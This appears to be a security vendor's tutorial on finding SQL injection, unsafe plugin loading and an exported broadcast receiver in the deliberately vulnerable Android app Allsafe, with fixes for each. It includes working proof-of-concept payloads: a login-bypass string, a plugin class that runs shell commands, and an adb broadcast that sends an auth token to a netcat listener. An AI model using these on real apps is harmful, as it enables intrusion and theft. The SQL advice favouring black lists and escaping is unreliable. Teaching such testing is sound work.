Post preview
Request a Personalized DerScanner Demo

First steps in application security analysis on the example of Allsafe

Allsafe is a deliberately insecure application. What is it for? It is designed to train and search for various vulnerabilities. Unlike other similar Android apps, it uses modern libraries and technologies. It is less like CTF and more like a real application. In this article, we will analyze its vulnerabilities by static and dynamic security testing.

1. Introduction

It is possible to check the mobile application for vulnerabilities using static security testing method (Static Application Security Testing). SAST uses the white box method, which is based on the availability of source code. This way the application can be analyzed without execution and individual code fragments can be tested at any stage of project development. If there is no access to the source code, it is possible to test the app dynamically — DAST is a black box method for analysis of an already running application.

Let's analyze the of 3 most interesting and illustrative cases from Allsafe..Thanks to the open source code, it is possible to analyze its vulnerabilities from the point of view of both approaches: static and dynamic security testing.

2 SQL Injection

Injection-type attacks rank third in the OWASP Top 10 2021 Web Application Vulnerabilities ranking. If an application works with several user accounts on the same device or it has paid content, injection attacks such as SQL injections may cause serious damage to it.

The general meaning of an SQL Injection vulnerability is that an attacker can inject additional meaning into an SQL query written by a developer and perform an unintended operation.

2.1 Static analysis

Let's analyze the vulnerability in parts: at the point of entry, attackers can enter their data, and at the point of execution, there is a direct access to the database with a request based on the input.

Let's find out if the application is vulnerable to injection. To do this, we will determine the input sources and verify that sufficient validation is carried out for the data provided by the user or application to the relevant execution point.

Now let's move on to a specific example. Let's consider the training file allsafe/app/src/main/java/infosecadventures/allsafe/challenges/SQLInjection.kt from the vulnerable allsafe application:

```

package infosecadventures.allsafe.challenges

 

import android.database.Cursor

import android.database.sqlite.SQLiteDatabase

import android.os.Bundle

import android.view.LayoutInflater

import android.view.View

import android.view.ViewGroup

import android.widget.Button

import android.widget.Toast

import androidx.fragment.app.Fragment

import com.google.android.material.textfield.TextInputEditText

import infosecadventures.allsafe.R

import java.math.BigInteger

import java.security.MessageDigest

 

class SQLInjection : Fragment() {

            override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View {

 

            val view: View = inflater.inflate(R.layout.fragment_sql_injection, container, false)

            val db = populateDatabase()

 

            val username: TextInputEditText = view.findViewById(R.id.username)

            val password: TextInputEditText = view.findViewById(R.id.password)

 

            val login: Button = view.findViewById(R.id.login)

             login.setOnClickListener {

 

            val cursor: Cursor = db.rawQuery("select * from user where username = '" + username.text.toString() + "' and password = '" + md5(password.text.toString()) + "'", null)

            val data = StringBuilder()

            if (cursor.count > 0) {

                        cursor.moveToFirst()

                        do {

                        val user = cursor.getString(1)

                        val pass = cursor.getString(2)

                            data.append("User: $user \nPass: $pass\n")

                        } while (cursor.moveToNext())

            }

            cursor.close()

                 Toast.makeText(context, data, Toast.LENGTH_LONG).show()

            }

            return view

            }

 

            private fun md5(input: String): String {

            val md = MessageDigest.getInstance("MD5")

            return BigInteger(1, md.digest(input.toByteArray())).toString(16).padStart(32, '0')

            }

            private fun populateDatabase(): SQLiteDatabase {

            val db = requireActivity().openOrCreateDatabase("allsafe", android.content.Context.MODE_PRIVATE, null)

            db.execSQL("drop table if exists user")

            db.execSQL("create table user ( id integer primary key autoincrement, username text, password text )")

            db.execSQL("insert into user ( username, password ) values ('admin', '21232f297a57a5a743894a0e4a801fc3')")

            db.execSQL("insert into user ( username, password ) values ('elliot.alderson', '3484cef7f6ff172c2cd278d3b51f3e66')")

            db.execSQL("insert into user ( username, password ) values ('angela.moss', '0af58729667eace3883a992ef2b8ce29')")

            db.execSQL("insert into user ( username, password ) values ('gideon.goddard', '65dc3431f8c5e3f0e249c5b1c6e3534d')")

            db.execSQL("insert into user ( username, password ) values ('tyrell.wellick', '6d2e1c6dd505a108cc7e19a46aa30a8a')")

            db.execSQL("insert into user ( username, password ) values ('darlene.alderson', 'd510b80eb22f8eb684f1a19681eb7bcf')")

            return db

            }

 

```

At the beginning of the file in question, we create a mini-database `db` using the `populateDatabase()` function.

Next comes the findViewById() method, which is more interesting for us, since it takes the values `username` and `password` from the user.

After receiving all the necessary data for authorization, we execute a dynamic SQL query to the database using the `rawQuery() method` and see information about the user.

The taint analysis requires data sources. Since some of them may be potentially infected, we put flags on these data and monitor their spread throughout the application.

Therefore, to find the infected data, we first select all the input sources:

```

val username: TextInputEditText = view.findViewById(R.id.username)

val password: TextInputEditText = view.findViewById(R.id.password)

```

After all the input sources are found, we will check if they lead to a vulnerability. To do this, it is necessary to trace the distribution path of each of the variables. We will consider only the `username` variable. Just a couple of lines later we see its use:

```

val cursor: Cursor = db.rawQuery("select * from user where username = '" + username.text.toString() + "' and password = '" + md5(password.text.toString()) + "'", null)

```

This is the execution point of a dynamic SQL query with user-provided data.

In this case, on the way from the entry point to the execution point, no check has been found prohibiting code injection, which means that we are facing a SQL Injection vulnerability.

2.2 PoC

To confirm the current vulnerability by means of dynamic analysis, one just should enter the following payload instead of the login at the authorization stage: "' OR 1=1 –.

1.     Open SQLInjection Activity

2.     Enter: "' OR 1=1 -- in the Username field

3.     Click on Login

Hence the conclusion: if there is physical access to the device, one can bypass the authorization check.

2.3 Recommendations

There are several basic recommendations for eliminating this type of vulnerabilities. The safest way is to offer the user to choose from a limited number of options.

If it is still necessary to build SQL queries based on user input data, then the main method of protection will be to create a white or black list of symbols.

As an additional protection, the escape function works, escaping all special symbols and words.

Finding vulnerabilities manually takes a lot of time, and in such cases there is always a chance that some of them will be missed. Therefore, the most effective way is to use automatic code analysis tools for vulnerabilities, and then manually check the results of their operation.

For example, the whole process of vulnerability search described above is reproduced by a static analyzer, namely the taint analysis.

In general terms, the process of searching for SQL injection by static analysis methods can be described as follows: the analyzer finds all fields with user input and marks them with a Tainted marker. This label automatically spreads through the code, marking everything it can reach. Security gates like correct data validation may prevent the label from spreading: fields undergoing validation are cleared of the Tainted label.

After this marker has spread as far as possible, the analyzer program looks at the place in the code where the database is accessed using an SQL query. If this request is marked with a Tainted marker, the program reports a vulnerability.

 

 

3. Arbitrary Code Execution Vulnerability

Additional functionality can be integrated into Android applications using external modules. These can be either proprietary libraries or third-party applications. Developers often use such integrations to add camera filters, font sets, or themes.

Such modules are executed in the context of the main application (with the same rights), making it vulnerable to Arbitrary code execution. This type of attack is implemented through the exploitation of Software and Data Integrity Failures vulnerabilities, ranking the eighth in the OWASP Top 10 2021 web application vulnerabilities list. According to statistics, at least 1 out of 50 popular applications has this vulnerability.

Once the module is connected, the main application searches for it among all the applications installed on the device, using the values from each application's AndroidManifest.xml manifest file. In case of weak verification, the attacker's application may be mistaken for a legitimate one. After loading the module, its code is executed in the context of the main application, which leads to the execution of arbitrary code. As a result, an attacker can steal any confidential information from user input or received from the server, as well as substitute this information or be able to track the user.

 

To prevent this vulnerability, it is necessary to check the code for occurrences of methods that access third-party library downloads. If their use is necessary, it is a good practice to check the integrity of such libraries. The lack of verification is included in the list of common weaknesses of CWE-494: Download of Code Without Integrity Check.

Let's consider a fragment of the application code. Here, using the getInstalledPackages method, information about installed applications is scanned, and if the prefix of the packageName name matches the specified one ("com.victim.module."), processModule is launched:

 

public static void searchModules(Context context)

{

   for (PackageInfo info : 
context.getPackageManager().getInstalledPackages(0)) {

   String packageName = info . packageName;

   if (packageName.startsWith("com.victim.module.")) {

       processModule(context, packageName);

   }

   //...

}

In the processModule function, the classes of this third-party application are loaded directly using the loadClass function, followed by the execution of its code:

public static void processModule(Context context, String packageName)

{

   Context appContext = context . createPackageContext (packageName, CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);

   ClassLoader classLoader = appContext . getClassLoader ();

   try {

       Object interface = classLoader.loadClass("com.victim.MainInterface").getMethod("getInterface").invoke(null);

       //...

   }

}

It turns out that the vulnerable application proceeds to load the class of any application whose name prefix matches the specified one. An attacker can create a message containing the required class (com.victim.MainInterface), an application with a suitable package name (with the specified prefix), and a method (getInterface). This will result in the execution of the illegitimate application code in the context of the main one.

3.1 Static analysis

This vulnerability is much in evidence in the AllSafe application. Let's analyze the following fragment of the source code:

private fun invokePlugins() {

   for (packageInfo in packageManager.getInstalledPackages(0)) {

       val packageName: String = packageInfo.packageName

       if (packageName.startsWith("infosecadventures.allsafe")) {

           try {

               val packageContext = createPackageContext(packageName,

                       CONTEXT_INCLUDE_CODE or CONTEXT_IGNORE_SECURITY)

               packageContext.classLoader

                       .loadClass("infosecadventures.allsafe.plugin.Loader")

                       .getMethod("loadPlugin")

                       .invoke(null)

           } catch (ignored: Exception) {

           }

       }

   }

}

 

The invokePlugins function compares the module name prefix to the "infosecadventures.allsafe" constant, and then tries to load the "loadPlugin" method of the "infosecadventures.allsafe.plugin.Loader" class from applications with the same prefix.

To attack, an attacker needs to create an application with the required prefix in the name, and then create a class and method with the appropriate names in it. The absence of additional checks allows replacing the downloadable module.

The search for the described vulnerability is not too difficult when conducting static analysis: having the source code of the application, it is necessary to find calls to methods that access the loading of third-party libraries and check for validation of their signatures. This task can be quickly handled with the help of static application security analyzers.

 

3.2 PoC

To confirm the vulnerability in dynamics, it will be necessary to convince the user to install an application called infosecadventures.allsafe.plugin on the device, then it will be possible to execute arbitrary code from the context of infosecadventures.allsafe.

1.     Create an application called infosecadventures.allsafe.plugin.

2.     Create a Loader class and define the loadPlugin method in it.

```

package infosecadventures.allsafe.plugin;

 

import android.util.Log;

 

import java.io.BufferedReader;

import java.io.InputStreamReader;

 

public class Loader {

 

    private static String getShellOutput(String cmd) {

        StringBuilder result = new StringBuilder();

        try {

            Process process = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});

            BufferedReader buffer = new BufferedReader(

                    new InputStreamReader(process.getInputStream())

            );

            String line;

            while ((line = buffer.readLine()) != null) {

                result.append(line);

            }

        } catch (Exception e) {

        }

        return result.toString();

    }

 

    public static Object loadPlugin() {

        Log.i("poc", getShellOutput("id"));

        return null;

    }

}

```

3.     Install the infosecadventures.allsafe.plugin application on the user's device.

app.apk

As a proof of concept, when calling the loadPlugin method, a shell command sh -c id is executed. The uid value of the application is recorded in the logs, in the context of which the method was called: Log.i("poc", getShellOutput("id"));

When installing a mobile application, Android assigns it a unique UID. To find the UID for the application, run the following command: adb shell dumpsys package your-package-name | grep userId=.

UID infosecadventures.allsafe of the application: userId=10086.

UID infosecadventures.allsafe.plugin of the application: userId=10090.

When launching the vulnerable infosecadventures.allsafe application, the code from the third-party infosecadventures.allsafe.plugin application will be executed, which is confirmed by the information in the logs: adb logcat | grep poc.

The output matches the UID of the vulnerable infosecadventures.allsafe application, in the context of which a third-party method was called.

3.3 Recommendations

To prevent the vulnerability, it is necessary to check not only the prefix of the name, but also the signature of the integrated third-party application:

if(packageName.startsWith("com.victim.module.") && packageManager.checkSignatures(packageName, context.getPackageName()) == PackageManager.SIGNATURE_MATCH)

While it is not difficult to forge the name of the module, class or method, the certificate will not be forged. The attackers will not be able to sign their application with the same certificate, so verifying the signature will prevent an illegitimate module from upload.

4 Insecure Broadcast Receiver Vulnerability

The Insecure Broadcast Receiver vulnerability belongs to the Broken Access Control type, which ranks first in the OWASP Top 10 2021 Web application vulnerabilities classification.

Broadcast Receivers are Android components that monitor broadcast messages and events generated by third-party programs. If they are implemented incorrectly, malicious applications installed on the device may disrupt the operation of the current application, forcing it to perform a malicious operation.

To find and fix the vulnerability, reviewing the AndroidManifest.xml file is usually enough. This is an essential file for every Android application, which describes some of the global values of the application and all its components. In particular, it describes the way the Activity can be activated, and what data they will process. Receivers are responsible for launching various Activity, which are configured in the AndroidManifest.xml file.

As an example, let’s take the broadcast receiver declaration in the corresponding file from the Allsafe application familiar to us:

 

```

            <receiver

        android:name=".challenges.NoteReceiver"

                android:exported="true">

            <intent-filter>

                        <action android:name="infosecadventures.allsafe.action.PROCESS_NOTE" />

            </intent-filter>

            </receiver>

```

 

This is a declaration of `<receiver/>` with the explicit parameter `exported` set to `true`. This means that this receiver can receive messages from third-party programs, including malicious ones. At the same time, it does not have any protection that would contain a list of programs from which receiving information is permitted.

It is important to realize that the default value for the android:exported tag is false, that is, all Activity in AndroidManifest.xml that do not have this tag are only available inside the application, and it is safe. If the Activity contains any intent-filter, then the default value for this tag will be true, which makes the Activity public.

The NoteReceiver class receives an intent and extracts String objects named server, note, and notification_message from it. These are the very values that an attacker can manipulate:

```

public class NoteReceiver extends BroadcastReceiver {

 

    @RequiresApi(api = Build.VERSION_CODES.O)

    @Override

    public void onReceive(Context context, Intent intent) {

        String server = intent.getStringExtra("server");

        String note = intent.getStringExtra("note");

        String notification_message = intent.getStringExtra("notification_message");

}

}

4.2 PoC

One can dynamically confirm this vulnerability and get the user's confidential information (in this case, auth_token) as a result in Android versions below 9.0, because HTTP communication is disabled (HTTPS is used by default) in subsequent versions.

If you want to reproduce the current vulnerability in Android versions of 9.0 and higher, you need to reconfigure the current application as described in this article.

1.     To begin with, we run the Netcat process to listen to port 80, that is, we are waiting for a request on 192.168.0.104: nc -l 80

2.     We send a broadcast for infosecadventures.allsafe.action.PROCESS_NOTE with the set values for server, note and notification_message:

adb shell am broadcast -a infosecadventures.allsafe.action.PROCESS_NOTE -e server 192.168.0.104 -e note ThosIsPoc -e notification_message ThisIsPoc infosecadventures.allsafe

3.      The GET request will be recorded:

Thus, with the help of a third-party broadcast message, we fixed the confidential auth_token of the application user.

4.3 Recommendations

There are two ways to eliminate this vulnerability: for a vulnerable Activity in AndroidManifest.xml, explicitly set the android:exported tag to false. If the false value is invalid, add permission with ProtectionLevel="signature". A receiver with this level of protection will only receive messages from applications signed with the same key.

The secure version of this code should be like this:

 

```

            <receiver

        android:name=".challenges.NoteReceiver"

                  android:exported="true"

        android:permission="defaultName">

            <intent-filter>

                        <action android:name="infosecadventures.allsafe.action.PROCESS_NOTE" />

            </intent-filter>

            </receiver>

```

After fixing the application code for the correct operation at the beginning of AndroidManifest.xml (where permissions are declared) the following should be added:

```

<permission android:name="defaultName" android:protectionLevel="signature" />

```

In order to minimize the chances of making such a mistake or to find it easier, it makes sense to always explicitly specify the value of the exported attribute.

5 Summary

Each of the approaches to detect vulnerabilities has its advantages. Static analysis does not require assembly and launch, which means additional time and system resources.  Dynamic and binary analysis can be used if there is no access to the source code. At the same time, the binary analysis provides full code coverage, while the dynamic analysis does not have false positives.

The conclusion follows from this: the analysis is as effective as possible and captures the maximum vulnerabilities when using various methods.

You may have already heard that if you conduct regular analysis during the development process, you can eliminate vulnerabilities and undocumented features arisen faster and easier. This is true – exactly like the fact that their search requires an extensive and timely replenished knowledge base and appropriate developer qualifications in the field of information security.

Improving the security of an application takes time, and as it's well known, time is what a developer always lacks. The problem of time spent on analysis can be solved by automating the process.

Our team works on the development of a vulnerability scanner that performs both dynamic and static analysis of applications – with and without source code. In the latter case, the file can be executable, and the analysis is binary.

When using such a tool, the security of a mobile application can be analyzed automatically at each stage of the development. This speeds up the search for vulnerabilities and their elimination through detailed descriptions of vulnerabilities and accurate recommendations.

Author: Dan Chernov, CTO DerSecur

Request a Personalized DerScanner Demo
preview
DerSecur Recognized among Notable Vendors in The Software Composition Analysis Landscape Q2 2024
2024-06-24
preview
DerScanner Participates in Delphi Day Italy to Support Local Developer Community
2024-06-21
preview
DerScanner Expands its Application Security Testing Platform to 43 Programming Languages and Improves Open Source Security
2024-03-11